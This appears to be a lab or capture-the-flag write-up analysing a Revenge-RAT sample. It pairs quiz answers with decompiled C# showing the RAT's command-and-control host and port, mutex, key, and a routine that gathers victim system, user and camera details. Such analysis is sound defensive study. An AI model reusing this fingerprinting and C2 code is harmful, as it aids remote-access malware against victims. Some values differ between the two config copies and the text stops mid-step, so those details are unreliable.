

1. What compiler is used for this sample?

2. What is the mutex name checked by the malware at the start of execution?

```

Config X
8 // Token: 0x0400000A RID: 10
9 public static class Config
10 {
11     // Token: 0x0400000A RID: 10
12     public static string host = "45.147.230.231";
13
14     // Token: 0x0400000B RID: 11
15     public static string port = "2222";
16
17     // Token: 0x0400000C RID: 12
18     public static string id = "TVJfYWhTZWQ=";
19
20     // Token: 0x0400000D RID: 13
21     public static string CurrentMutex = "c416f58db13c4";
22
23     // Token: 0x0400000E RID: 14
24     public static string key = "Revenge-RAT";
25
26     // Token: 0x0400000F RID: 15
27     public static Mutex programMutex;
28
29     // Token: 0x04000010 RID: 16
30     public static string splitter = "!@#%^&*~NYAN#!@#";
31
32     // Token: 0x04000011 RID: 17
33     public static Stopwatch stopwatch = new Stopwatch();

```

Correct

What is the mutex name checked by the malware at the start of execution?

c416f58db13c4

Completed

3. What function was used to get information about the CPU?

```

9             null).ToString();
10    }
11    catch
12    {
13        text = "N/A";
14    }
15    return text;
16 }

```

Correct

What function was used to get information about the CPU?

GetCpu

Completed

4. What key was used during the "SendInfo" function?

```

SendInfo(): string X
1 // Lime.Helper.IdGenerator
2 // Token: 0x0600000A RID: 10 RVA: 0x000024A0 File Offset: 0x000014A0
3 public static string SendInfo()
4 {
5     return string.Concat(new object[]
6     {
7         "Information",
8         Config.key,
9         Config.id,
10        Config.key,
11        StringConverter.Encode("_" + IdGenerator.GetHardDiskSerialNumber()),
12        Config.key,
13        IdGenerator.GetIp(),
14        Config.key,
15        StringConverter.Encode(Environment.MachineName + " / " + Environment.UserName),
16        Config.key,
17        IdGenerator.GetCamera(),
18        Config.key,
19        StringConverter.Encode(new ComputerInfo().OSFullName + " " + IdGenerator.GetSystem()),
20        Config.key,
21        StringConverter.Encode(IdGenerator.GetCpu()),
22        Config.key,

```

```

1 // Lime.Helper.IdGenerator
2 // Token: 0x0600000D RID: 13 RVA: 0x000026D0 File Offset: 0x000016D0
3 public static string GetCamera()
4 {
5     try
6     {
7         int num = 0;
8         do
9         {
10             short num2 = (short)num;
11             string text = Strings.Space(100);
12             int num3 = 100;
13             string text2 = null;
14             if (Native.capGetDriverDescriptionA(num2, ref text, num3, ref text2, 100))
15             {
16                 goto IL_30;
17             }
18             num++;
19         } while (true);
20     }
21     catch { }
22 }

```

Correct

What function was used to retrieve information about installed video capture drivers?

Getcamera

Completed

8. What is the value of the ID after removing obfuscation?

We saw that the ID was presented in the config class:

```

1 namespace Lime.Settings
2 {
3     // Token: 0x0200000A RID: 10
4     public static class Config
5     {
6         // Token: 0x0400000A RID: 10
7         public static string host = "45.147.230.231";
8         // Token: 0x0400000B RID: 11
9         public static string port = "2222";
10        // Token: 0x0400000C RID: 12
11        public static string id = "TVJfYWhhZWQ=";
12        // Token: 0x0400000D RID: 13
13        public static string currentMutex = "c416f58db13c4";
14        // Token: 0x0400000E RID: 14
15        public static string key = "Revenge-RAT";
16        // Token: 0x0400000F RID: 15
17        public static Mutex programMutex;
18        // Token: 0x04000010 RID: 16
19        public static string splitter = "!@#%^&*NYAN#!@%";
20    }
21 }

```

Decode using CyberChef:
